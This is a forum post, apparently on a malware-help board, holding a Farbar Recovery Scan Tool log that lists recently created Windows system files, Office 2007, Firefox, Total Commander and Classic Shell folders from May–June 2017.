2017-05-30 11:06 - 2017-05-20 08:55 - 05477088 _____ (Microsoft Corporation) C:\windows\system32\OneCoreUAPCommonProxyStub.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 01911752 _____ (Microsoft Corporation) C:\windows\system32\Windows.ApplicationModel.Store.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 01506712 _____ (Microsoft Corporation) C:\windows\system32\twinapi.appcore.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 01055648 _____ (Microsoft Corporation) C:\windows\system32\LicenseManager.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 00961952 _____ (Microsoft Corporation) C:\windows\system32\efscore.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 00211872 _____ (Microsoft Corporation) C:\windows\system32\browserbroker.dll
2017-05-30 11:06 - 2017-05-20 08:54 - 00872472 _____ (Microsoft Corporation) C:\windows\system32\ClipSVC.dll
2017-05-30 11:06 - 2017-05-20 08:54 - 00730016 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vhdmp.sys
2017-05-30 11:06 - 2017-05-20 08:54 - 00546208 _____ (Microsoft Corporation) C:\windows\system32\Drivers\storport.sys
2017-05-30 11:06 - 2017-05-20 08:54 - 00144288 _____ (Microsoft Corporation) C:\windows\system32\Drivers\storahci.sys
2017-05-30 11:06 - 2017-05-20 08:53 - 00654976 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentClient.dll
2017-05-30 11:06 - 2017-05-20 08:53 - 00411040 _____ (Microsoft Corporation) C:\windows\system32\msv1_0.dll
2017-05-30 11:06 - 2017-05-20 08:53 - 00363424 _____ (Microsoft Corporation) C:\windows\system32\Drivers\fastfat.sys
2017-05-30 11:06 - 2017-05-20 08:53 - 00335808 _____ (Microsoft Corporation) C:\windows\system32\SecurityHealthService.exe
2017-05-30 11:06 - 2017-05-20 08:53 - 00255904 _____ (Microsoft Corporation) C:\windows\system32\AppxAllUserStore.dll
2017-05-30 11:06 - 2017-05-20 08:52 - 07904784 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Protection.PlayReady.dll
2017-05-30 11:06 - 2017-05-20 08:52 - 04709528 _____ (Microsoft Corporation) C:\windows\system32\mfcore.dll
2017-05-30 11:06 - 2017-05-20 08:52 - 01700408 _____ (Microsoft Corporation) C:\windows\system32\mfplat.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 21352176 _____ (Microsoft Corporation) C:\windows\system32\shell32.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 06551856 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 02604256 _____ (Microsoft Corporation) C:\windows\system32\mfmp4srcsnk.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 01670496 _____ (Microsoft Corporation) C:\windows\system32\winmde.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 01219560 _____ (Microsoft Corporation) C:\windows\system32\mfsvr.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 00406064 _____ (Microsoft Corporation) C:\windows\system32\MMDevAPI.dll
2017-05-30 11:06 - 2017-05-20 08:48 - 00387928 _____ (Microsoft Corporation) C:\windows\system32\wmpps.dll
2017-05-30 11:06 - 2017-05-20 08:22 - 23677440 _____ (Microsoft Corporation) C:\windows\system32\edgehtml.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00809472 _____ (Microsoft Corporation) C:\windows\system32\SecurityHealthSSO.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00584192 _____ (Microsoft Corporation) C:\windows\system32\UIRibbonRes.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00361472 _____ (Microsoft Corporation) C:\windows\system32\ConhostV2.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00099328 _____ (Microsoft Corporation) C:\windows\system32\utcutil.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00088576 _____ (Microsoft Corporation) C:\windows\system32\winsrvext.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ksthunk.sys
2017-05-30 11:06 - 2017-05-20 08:09 - 17365504 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Xaml.dll
2017-05-30 11:06 - 2017-05-20 08:09 - 02199552 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Xaml.Resources.dll
2017-05-30 11:06 - 2017-05-20 08:09 - 00209408 _____ (Microsoft Corporation) C:\windows\system32\smartscreenps.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00128512 _____ (Microsoft Corporation) C:\windows\system32\mssprxy.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00086016 _____ C:\windows\system32\xboxgipsynthetic.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00029696 _____ (Microsoft Corporation) C:\windows\system32\odbcconf.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00013312 _____ (Microsoft Corporation) C:\windows\system32\Drivers\rootmdm.sys
2017-05-30 11:06 - 2017-05-20 08:07 - 00277504 _____ (Microsoft Corporation) C:\windows\system32\Drivers\xboxgip.sys
2017-05-30 11:06 - 2017-05-20 08:07 - 00133120 _____ (Microsoft Corporation) C:\windows\system32\XblGameSaveExt.dll
2017-05-30 11:06 - 2017-05-20 08:07 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\snmptrap.exe
2017-05-30 11:06 - 2017-05-20 08:06 - 00866816 _____ (Microsoft Corporation) C:\windows\system32\NPSMDesktopProvider.dll
2017-05-30 11:06 - 2017-05-20 08:06 - 00232448 _____ (Microsoft Corporation) C:\windows\system32\Windows.Web.Diagnostics.dll
2017-05-30 11:06 - 2017-05-20 08:06 - 00192512 _____ (Microsoft Corporation) C:\windows\system32\Windows.SharedPC.AccountManager.dll
2017-05-30 11:06 - 2017-05-20 08:05 - 07931392 _____ (Microsoft Corporation) C:\windows\system32\twinui.dll
2017-05-30 11:06 - 2017-05-20 08:05 - 00518144 _____ (Microsoft Corporation) C:\windows\system32\daxexec.dll
2017-05-30 11:06 - 2017-05-20 08:05 - 00064512 _____ (Microsoft Corporation) C:\windows\system32\winsrv.dll
2017-05-30 11:06 - 2017-05-20 08:04 - 00778240 _____ C:\windows\system32\MBR2GPT.EXE
2017-05-30 11:06 - 2017-05-20 08:03 - 23681024 _____ (Microsoft Corporation) C:\windows\system32\mshtml.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 08331264 _____ (Microsoft Corporation) C:\windows\system32\BingMaps.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00892416 _____ (Microsoft Corporation) C:\windows\system32\MessagingDataModel2.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00549888 _____ (Microsoft Corporation) C:\windows\system32\DictationManager.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00527360 _____ (Microsoft Corporation) C:\windows\system32\aadcloudap.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00491520 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_Display.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00427008 _____ (Microsoft Corporation) C:\windows\system32\provengine.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00197120 _____ (Microsoft Corporation) C:\windows\system32\bcdboot.exe
2017-05-30 11:06 - 2017-05-20 08:02 - 00616960 _____ (Microsoft Corporation) C:\windows\system32\WindowManagement.dll
2017-05-30 11:06 - 2017-05-20 08:02 - 00601088 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.Launcher.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 02347520 _____ (Microsoft Corporation) C:\windows\system32\DeviceFlows.DataModel.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 01878016 _____ (Microsoft Corporation) C:\windows\system32\AzureSettingSyncProvider.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00970240 _____ (Microsoft Corporation) C:\windows\system32\cdpsvc.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00590848 _____ (Microsoft Corporation) C:\windows\system32\vbscript.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00586240 _____ (Microsoft Corporation) C:\windows\system32\OneDriveSettingSyncProvider.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00409600 _____ (Microsoft Corporation) C:\windows\system32\updatehandlers.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00408064 _____ (Microsoft Corporation) C:\windows\system32\ActivationManager.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00299520 _____ (Microsoft Corporation) C:\windows\system32\AboveLockAppHost.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00149504 _____ (Microsoft Corporation) C:\windows\system32\embeddedmodesvc.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 01078272 _____ (Microsoft Corporation) C:\windows\system32\StoreAgent.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 01067008 _____ (Microsoft Corporation) C:\windows\system32\XboxNetApiSvc.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 00925696 _____ (Microsoft Corporation) C:\windows\system32\WpcWebFilter.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 00846848 _____ (Microsoft Corporation) C:\windows\system32\bisrv.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 00417792 _____ (Microsoft Corporation) C:\windows\system32\InstallAgentUserBroker.exe
2017-05-30 11:06 - 2017-05-20 08:00 - 00056832 _____ (Microsoft Corporation) C:\windows\system32\cldapi.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01818624 _____ (Microsoft Corporation) C:\windows\system32\UIAutomationCore.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01468416 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentExtensions.desktop.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01260544 _____ (Microsoft Corporation) C:\windows\system32\GamePanel.exe
2017-05-30 11:06 - 2017-05-20 07:59 - 01141760 _____ (Microsoft Corporation) C:\windows\system32\MapsStore.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01028608 _____ (Microsoft Corporation) C:\windows\system32\modernexecserver.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 00972800 _____ (Microsoft Corporation) C:\windows\system32\sysmain.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 00687104 _____ (Microsoft Corporation) C:\windows\system32\LogonController.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 00585216 _____ (Microsoft Corporation) C:\windows\system32\AppReadiness.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 08244736 _____ (Microsoft Corporation) C:\windows\system32\Chakra.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 03784704 _____ (Microsoft Corporation) C:\windows\system32\MapRouter.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 03135488 _____ (Microsoft Corporation) C:\windows\system32\MapGeocoder.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 01886208 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentExtensions.onecore.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 01046016 _____ (Microsoft Corporation) C:\windows\system32\comdlg32.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 00909824 _____ (Microsoft Corporation) C:\windows\system32\ISM.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 00374784 _____ (Microsoft Corporation) C:\windows\system32\InstallAgent.exe
2017-05-30 11:06 - 2017-05-20 07:57 - 12787200 _____ (Microsoft Corporation) C:\windows\system32\ieframe.dll
2017-05-30 11:06 - 2017-05-20 07:57 - 02801664 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentServer.dll
2017-05-30 11:06 - 2017-05-20 07:57 - 00681984 _____ (Microsoft Corporation) C:\windows\system32\usocore.dll
2017-05-30 11:06 - 2017-05-20 07:56 - 02730496 _____ (Microsoft Corporation) C:\windows\system32\smartscreen.exe
2017-05-30 11:06 - 2017-05-20 07:56 - 02624512 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Logon.dll
2017-05-30 11:06 - 2017-05-20 07:56 - 02056192 _____ (Microsoft Corporation) C:\windows\system32\win32kbase.sys
2017-05-30 11:06 - 2017-05-20 07:56 - 01076736 _____ (Microsoft Corporation) C:\windows\system32\twinui.appcore.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 04396032 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_47.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 03332096 _____ (Microsoft Corporation) C:\windows\system32\SRH.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 02499584 _____ (Microsoft Corporation) C:\windows\system32\twinui.pcshell.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 01293824 _____ (Microsoft Corporation) C:\windows\system32\aadtb.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 01102848 _____ (Microsoft Corporation) C:\windows\system32\SettingSyncCore.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 05557760 _____ (Microsoft Corporation) C:\windows\system32\dbgeng.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 04707840 _____ (Microsoft Corporation) C:\windows\system32\ExplorerFrame.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 04537344 _____ (Microsoft Corporation) C:\windows\system32\MFMediaEngine.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 03803136 _____ (Microsoft Corporation) C:\windows\system32\SystemSettingsThresholdAdminFlowUI.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 02938880 _____ (Microsoft Corporation) C:\windows\system32\InputService.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 02651136 _____ (Microsoft Corporation) C:\windows\system32\dwmcore.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 02516480 _____ (Microsoft Corporation) C:\windows\system32\diagtrack.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 01275904 _____ (Microsoft Corporation) C:\windows\system32\ShareHost.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 01356800 _____ (Microsoft Corporation) C:\windows\system32\audiosrv.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 00624640 _____ (Microsoft Corporation) C:\windows\system32\AudioEndpointBuilder.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 00557568 _____ (Microsoft Corporation) C:\windows\system32\wpnprv.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 00476160 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Core.TextInput.dll
2017-05-30 11:06 - 2017-05-20 07:51 - 01706496 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Immersive.dll
2017-05-30 11:06 - 2017-05-20 07:51 - 00148480 _____ (Microsoft Corporation) C:\windows\system32\umpo.dll
2017-05-30 11:06 - 2017-05-20 07:50 - 00439808 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Midi.dll
2017-05-30 11:06 - 2017-05-20 07:50 - 00159744 _____ (Microsoft Corporation) C:\windows\system32\NPSM.dll
2017-05-30 11:06 - 2017-05-20 07:48 - 02438656 _____ (Microsoft Corporation) C:\windows\system32\ResetEngine.dll
2017-05-30 11:06 - 2017-05-20 07:48 - 00061952 _____ (Microsoft Corporation) C:\windows\system32\vss_ps.dll
2017-05-30 11:06 - 2017-05-20 07:47 - 00641536 _____ (Microsoft Corporation) C:\windows\system32\rdbui.dll
2017-05-30 11:06 - 2017-05-20 07:47 - 00199680 _____ (Microsoft Corporation) C:\windows\system32\RstrtMgr.dll
2017-05-30 11:06 - 2017-05-20 07:47 - 00064512 _____ (Microsoft Corporation) C:\windows\bfsvc.exe
2017-05-30 10:01 - 2017-05-30 10:01 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Live Add-in
2017-05-30 09:56 - 2017-05-30 09:56 - 00000017 _____ C:\Users\****\AppData\Local\resmon.resmoncfg
2017-05-30 09:55 - 2017-06-02 17:13 - 00000000 ____D C:\Users\****\AppData\Local\CrashDumps
2017-05-30 09:55 - 2017-05-30 09:55 - 00000000 ____D C:\Users\****\AppData\Local\DBG
2017-05-30 09:52 - 2017-05-30 09:52 - 00000000 ____D C:\Users\Default\AppData\Local\Microsoft Help
2017-05-30 09:52 - 2017-05-30 09:52 - 00000000 ____D C:\Users\Default User\AppData\Local\Microsoft Help
2017-05-30 09:42 - 2017-05-30 09:42 - 00002811 _____ C:\Users\****\Desktop\Microsoft Office Outlook 2007.lnk
2017-05-30 09:42 - 2017-05-30 09:42 - 00002739 _____ C:\Users\****\Desktop\Microsoft Office PowerPoint 2007.lnk
2017-05-30 09:42 - 2017-05-30 09:42 - 00002719 _____ C:\Users\****\Desktop\Microsoft Office Excel 2007.lnk
2017-05-30 09:42 - 2017-05-30 09:42 - 00002713 _____ C:\Users\****\Desktop\Microsoft Office Word 2007.lnk
2017-05-30 09:40 - 2017-05-30 09:41 - 00000000 ____D C:\Program Files (x86)\Microsoft Works
2017-05-30 09:40 - 2017-05-30 09:40 - 00000000 ____D C:\windows\PCHEALTH
2017-05-30 09:40 - 2017-05-30 09:40 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office
2017-05-30 09:40 - 2017-05-30 09:40 - 00000000 ____D C:\Program Files (x86)\Microsoft Visual Studio
2017-05-30 09:39 - 2017-05-30 10:01 - 00000000 ____D C:\Program Files (x86)\Microsoft Office
2017-05-30 09:39 - 2017-05-30 09:40 - 00000000 ____D C:\windows\SHELLNEW
2017-05-30 09:39 - 2017-05-30 09:39 - 00000000 __RHD C:\MSOCache

Twix. 03.06.2017 15:47
FRST2:
Code:
2017-05-30 09:39 - 2017-05-30 09:39 - 00000000 ____D C:\Users\****\AppData\Local\Microsoft Help
2017-05-30 09:39 - 2017-05-30 09:39 - 00000000 ____D C:\Program Files\Microsoft Office
2017-05-30 09:37 - 2017-05-30 09:46 - 00000000 ____D C:\Program Files\totalcmd
2017-05-30 09:37 - 2017-05-30 09:37 - 00000900 _____ C:\Users\****\Desktop\Total Commander.lnk
2017-05-30 09:37 - 2017-05-30 09:37 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Total Commander
2017-05-30 09:37 - 2017-05-30 09:37 - 00000000 ____D C:\Users\****\AppData\Roaming\GHISLER
2017-05-30 09:37 - 2017-05-30 09:37 - 00000000 ____D C:\Users\****\AppData\Local\GHISLER
2017-05-30 09:32 - 2017-06-03 15:47 - 00000000 ____D C:\Users\****\AppData\LocalLow\Mozilla
2017-05-30 09:32 - 2017-06-03 00:24 - 00000000 ____D C:\Program Files (x86)\Mozilla Firefox
2017-05-30 09:32 - 2017-06-03 00:08 - 00001136 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-05-30 09:32 - 2017-06-03 00:08 - 00001124 _____ C:\Users\Public\Desktop\Mozilla Firefox.lnk
2017-05-30 09:32 - 2017-05-30 20:35 - 00000000 ____D C:\Users\****\AppData\Local\Mozilla
2017-05-30 09:32 - 2017-05-30 09:32 - 00000000 ____D C:\Users\****\AppData\Roaming\Mozilla
2017-05-30 09:32 - 2017-05-30 09:32 - 00000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2017-05-30 09:31 - 2017-05-30 09:31 - 00000000 ____D C:\Users\****\AppData\Local\MicrosoftEdge
2017-05-30 09:29 - 2017-06-03 15:52 - 00000000 ____D C:\Users\****\AppData\Local\ClassicShell
2017-05-30 09:29 - 2017-05-30 09:29 - 00000000 ____D C:\Users\****\AppData\Roaming\ClassicShell
2017-05-30 09:28 - 2017-05-30 09:28 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Classic Shell
2017-05-30 09:28 - 2017-05-30 09:28 - 00000000 ____D C:\Program Files\Classic Shell
2017-05-30 08:01 - 2017-04-28 03:38 - 01411128 _____ (Microsoft Corporation) C:\windows\SysWOW64\gdi32full.dll
2017-05-30 08:01 - 2017-04-28 03:19 - 01839872 _____ (Microsoft Corporation) C:\windows\SysWOW64\KernelBase.dll
2017-05-30 08:01 - 2017-04-28 03:16 - 00599576 _____ (Microsoft Corporation) C:\windows\SysWOW64\kernel32.dll
2017-05-30 08:01 - 2017-04-28 03:12 - 01604312 _____ (Microsoft Corporation) C:\windows\system32\gdi32full.dll
2017-05-30 08:01 - 2017-04-28 03:11 - 02158544 _____ (Microsoft Corporation) C:\windows\SysWOW64\iertutil.dll
2017-05-30 08:01 - 2017-04-28 03:09 - 01557288 _____ (Microsoft Corporation) C:\windows\SysWOW64\crypt32.dll
2017-05-30 08:01 - 2017-04-28 03:08 - 02399728 _____ (Microsoft Corporation) C:\windows\system32\KernelBase.dll
2017-05-30 08:01 - 2017-04-28 03:08 - 02330520 _____ (Microsoft Corporation) C:\windows\SysWOW64\combase.dll
2017-05-30 08:01 - 2017-04-28 03:07 - 00988168 _____ (Microsoft Corporation) C:\windows\SysWOW64\ole32.dll
2017-05-30 08:01 - 2017-04-28 03:06 - 00708712 _____ (Microsoft Corporation) C:\windows\system32\kernel32.dll
2017-05-30 08:01 - 2017-04-28 03:03 - 00667040 _____ (Microsoft Corporation) C:\windows\system32\ci.dll
2017-05-30 08:01 - 2017-04-28 02:59 - 02635336 _____ (Microsoft Corporation) C:\windows\system32\iertutil.dll
2017-05-30 08:01 - 2017-04-28 02:59 - 00388000 _____ (Microsoft Corporation) C:\windows\system32\Drivers\USBXHCI.SYS
2017-05-30 08:01 - 2017-04-28 02:59 - 00027040 _____ (Microsoft Corporation) C:\windows\system32\browser_broker.exe
2017-05-30 08:01 - 2017-04-28 02:58 - 01852776 _____ (Microsoft Corporation) C:\windows\system32\crypt32.dll
2017-05-30 08:01 - 2017-04-28 02:57 - 03116184 _____ (Microsoft Corporation) C:\windows\system32\combase.dll
2017-05-30 08:01 - 2017-04-28 02:55 - 01325456 _____ (Microsoft Corporation) C:\windows\system32\ole32.dll
2017-05-30 08:01 - 2017-04-28 02:52 - 02957824 _____ (Microsoft Corporation) C:\windows\SysWOW64\win32kfull.sys
2017-05-30 08:01 - 2017-04-28 02:52 - 00790528 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.dll
2017-05-30 08:01 - 2017-04-28 02:49 - 00072192 _____ (Microsoft Corporation) C:\windows\SysWOW64\tdc.ocx
2017-05-30 08:01 - 2017-04-28 02:44 - 00266240 _____ (Microsoft Corporation) C:\windows\SysWOW64\dxtrans.dll
2017-05-30 08:01 - 2017-04-28 02:40 - 00799232 _____ (Microsoft Corporation) C:\windows\SysWOW64\TokenBroker.dll
2017-05-30 08:01 - 2017-04-28 02:39 - 03655680 _____ (Microsoft Corporation) C:\windows\SysWOW64\jscript9.dll
2017-05-30 08:01 - 2017-04-28 02:39 - 02859520 _____ (Microsoft Corporation) C:\windows\SysWOW64\wininet.dll
2017-05-30 08:01 - 2017-04-28 02:37 - 01626624 _____ (Microsoft Corporation) C:\windows\SysWOW64\urlmon.dll
2017-05-30 08:01 - 2017-04-28 02:34 - 00891904 _____ (Microsoft Corporation) C:\windows\SysWOW64\autochk.exe
2017-05-30 08:01 - 2017-04-28 02:15 - 03672064 _____ (Microsoft Corporation) C:\windows\system32\win32kfull.sys
2017-05-30 08:01 - 2017-04-28 02:15 - 01051648 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.dll
2017-05-30 08:01 - 2017-04-28 02:11 - 00082944 _____ (Microsoft Corporation) C:\windows\system32\tdc.ocx
2017-05-30 08:01 - 2017-04-28 02:11 - 00035840 _____ (Microsoft Corporation) C:\windows\system32\Drivers\BasicRender.sys
2017-05-30 08:01 - 2017-04-28 02:08 - 00314880 _____ (Microsoft Corporation) C:\windows\system32\SettingsEnvironment.Desktop.dll
2017-05-30 08:01 - 2017-04-28 02:06 - 01302528 _____ (Microsoft Corporation) C:\windows\system32\MSVPXENC.dll
2017-05-30 08:01 - 2017-04-28 02:06 - 00386560 _____ (Microsoft Corporation) C:\windows\system32\iedkcs32.dll
2017-05-30 08:01 - 2017-04-28 02:06 - 00274944 _____ (Microsoft Corporation) C:\windows\system32\dxtrans.dll
2017-05-30 08:01 - 2017-04-28 02:03 - 01085440 _____ (Microsoft Corporation) C:\windows\system32\rpcss.dll
2017-05-30 08:01 - 2017-04-28 02:03 - 00751104 _____ (Microsoft Corporation) C:\windows\system32\msfeeds.dll
2017-05-30 08:01 - 2017-04-28 02:01 - 02077184 _____ (Microsoft Corporation) C:\windows\system32\inetcpl.cpl
2017-05-30 08:01 - 2017-04-28 01:59 - 03307008 _____ (Microsoft Corporation) C:\windows\system32\wininet.dll
2017-05-30 08:01 - 2017-04-28 01:58 - 01054208 _____ (Microsoft Corporation) C:\windows\system32\TokenBroker.dll
2017-05-30 08:01 - 2017-04-28 01:57 - 04730368 _____ (Microsoft Corporation) C:\windows\system32\jscript9.dll
2017-05-30 08:01 - 2017-04-28 01:57 - 01803264 _____ (Microsoft Corporation) C:\windows\system32\urlmon.dll
2017-05-30 08:01 - 2017-04-28 01:54 - 00985600 _____ (Microsoft Corporation) C:\windows\system32\TSWorkspace.dll
2017-05-30 08:01 - 2017-04-28 01:54 - 00970240 _____ (Microsoft Corporation) C:\windows\system32\autochk.exe
2017-05-30 08:01 - 2017-04-28 01:54 - 00722944 _____ (Microsoft Corporation) C:\windows\system32\Drivers\srv2.sys
2017-05-30 08:01 - 2017-04-28 01:54 - 00414208 _____ (Microsoft Corporation) C:\windows\system32\Drivers\srv.sys
2017-05-30 08:01 - 2017-04-19 09:06 - 00651680 _____ (Microsoft Corporation) C:\windows\system32\SettingSyncHost.exe
2017-05-30 08:01 - 2017-04-19 09:04 - 00142240 _____ (Microsoft Corporation) C:\windows\system32\Drivers\wcifs.sys
2017-05-30 08:01 - 2017-04-19 09:02 - 00716440 _____ (Microsoft Corporation) C:\windows\system32\MSVideoDSP.dll
2017-05-30 08:01 - 2017-04-19 08:19 - 00052736 _____ (Microsoft Corporation) C:\windows\system32\musdialoghandlers.dll
2017-05-30 08:01 - 2017-04-19 08:18 - 00118784 _____ (Microsoft Corporation) C:\windows\system32\Drivers\netvsc.sys
2017-05-30 08:01 - 2017-04-19 08:16 - 00280064 _____ (Microsoft Corporation) C:\windows\system32\WiFiDisplay.dll
2017-05-30 08:01 - 2017-04-19 08:15 - 00232960 _____ (Microsoft Corporation) C:\windows\system32\wcmcsp.dll
2017-05-30 08:01 - 2017-04-19 08:14 - 00646656 _____ (Microsoft Corporation) C:\windows\system32\LockHostingFramework.dll
2017-05-30 08:01 - 2017-04-19 08:13 - 00980992 _____ (Microsoft Corporation) C:\windows\system32\Drivers\bthport.sys
2017-05-30 08:01 - 2017-04-19 08:12 - 00805888 _____ (Microsoft Corporation) C:\windows\system32\ieproxy.dll
2017-05-30 08:01 - 2017-04-19 08:12 - 00203776 _____ (Microsoft Corporation) C:\windows\system32\PackageStateRoaming.dll
2017-05-30 08:01 - 2017-04-19 08:11 - 04446208 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_nt.dll
2017-05-30 08:01 - 2017-04-19 08:10 - 04175872 _____ (Microsoft Corporation) C:\windows\system32\StartTileData.dll
2017-05-30 08:01 - 2017-04-19 08:10 - 02765824 _____ (Microsoft Corporation) C:\windows\system32\Windows.Shell.UnifiedTile.CuratedTileCollections.dll
2017-05-30 08:01 - 2017-04-19 08:10 - 01600512 _____ (Microsoft Corporation) C:\windows\system32\dbghelp.dll
2017-05-30 08:01 - 2017-04-19 08:07 - 01242624 _____ (Microsoft Corporation) C:\windows\system32\SharedStartModel.dll
2017-05-30 08:01 - 2017-04-19 08:07 - 00707072 _____ (Microsoft Corporation) C:\windows\system32\winlogon.exe
2017-05-30 08:01 - 2017-04-19 08:02 - 00559000 _____ (Microsoft Corporation) C:\windows\SysWOW64\SettingSyncHost.exe
2017-05-30 08:01 - 2017-04-19 07:59 - 01087488 _____ (Microsoft Corporation) C:\windows\system32\reseteng.dll
2017-05-30 08:01 - 2017-04-19 07:37 - 00233472 _____ (Microsoft Corporation) C:\windows\SysWOW64\WiFiDisplay.dll
2017-05-30 08:01 - 2017-04-19 07:34 - 00358400 _____ (Microsoft Corporation) C:\windows\SysWOW64\ieproxy.dll
2017-05-30 08:01 - 2017-04-19 07:34 - 00175616 _____ (Microsoft Corporation) C:\windows\SysWOW64\PackageStateRoaming.dll
2017-05-30 08:01 - 2017-04-19 07:32 - 01285120 _____ (Microsoft Corporation) C:\windows\SysWOW64\dbghelp.dll
2017-05-30 08:01 - 2017-04-14 02:35 - 00741784 _____ (Microsoft Corporation) C:\windows\system32\Windows.Internal.Shell.Broker.dll
2017-05-30 08:01 - 2017-04-14 02:35 - 00673112 _____ (Microsoft Corporation) C:\windows\system32\AppResolver.dll
2017-05-30 08:01 - 2017-04-14 02:33 - 02085280 _____ (Microsoft Corporation) C:\windows\system32\UpdateAgent.dll
2017-05-30 08:01 - 2017-04-14 02:32 - 01320352 _____ (Microsoft Corporation) C:\windows\system32\wpx.dll
2017-05-30 08:01 - 2017-04-14 02:30 - 00105456 _____ (Microsoft Corporation) C:\windows\system32\imagehlp.dll
2017-05-30 08:01 - 2017-04-14 01:43 - 00523296 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppResolver.dll
2017-05-30 08:01 - 2017-04-14 01:40 - 00095584 _____ (Microsoft Corporation) C:\windows\SysWOW64\imagehlp.dll
2017-05-30 08:01 - 2017-04-14 01:39 - 00974848 _____ (Microsoft Corporation) C:\windows\system32\mmgaserver.exe
2017-05-30 08:01 - 2017-04-14 01:39 - 00334336 _____ (Microsoft Corporation) C:\windows\system32\wc_storage.dll
2017-05-30 08:01 - 2017-04-14 01:39 - 00155136 _____ (Microsoft Corporation) C:\windows\system32\VEStoreEventHandlers.dll
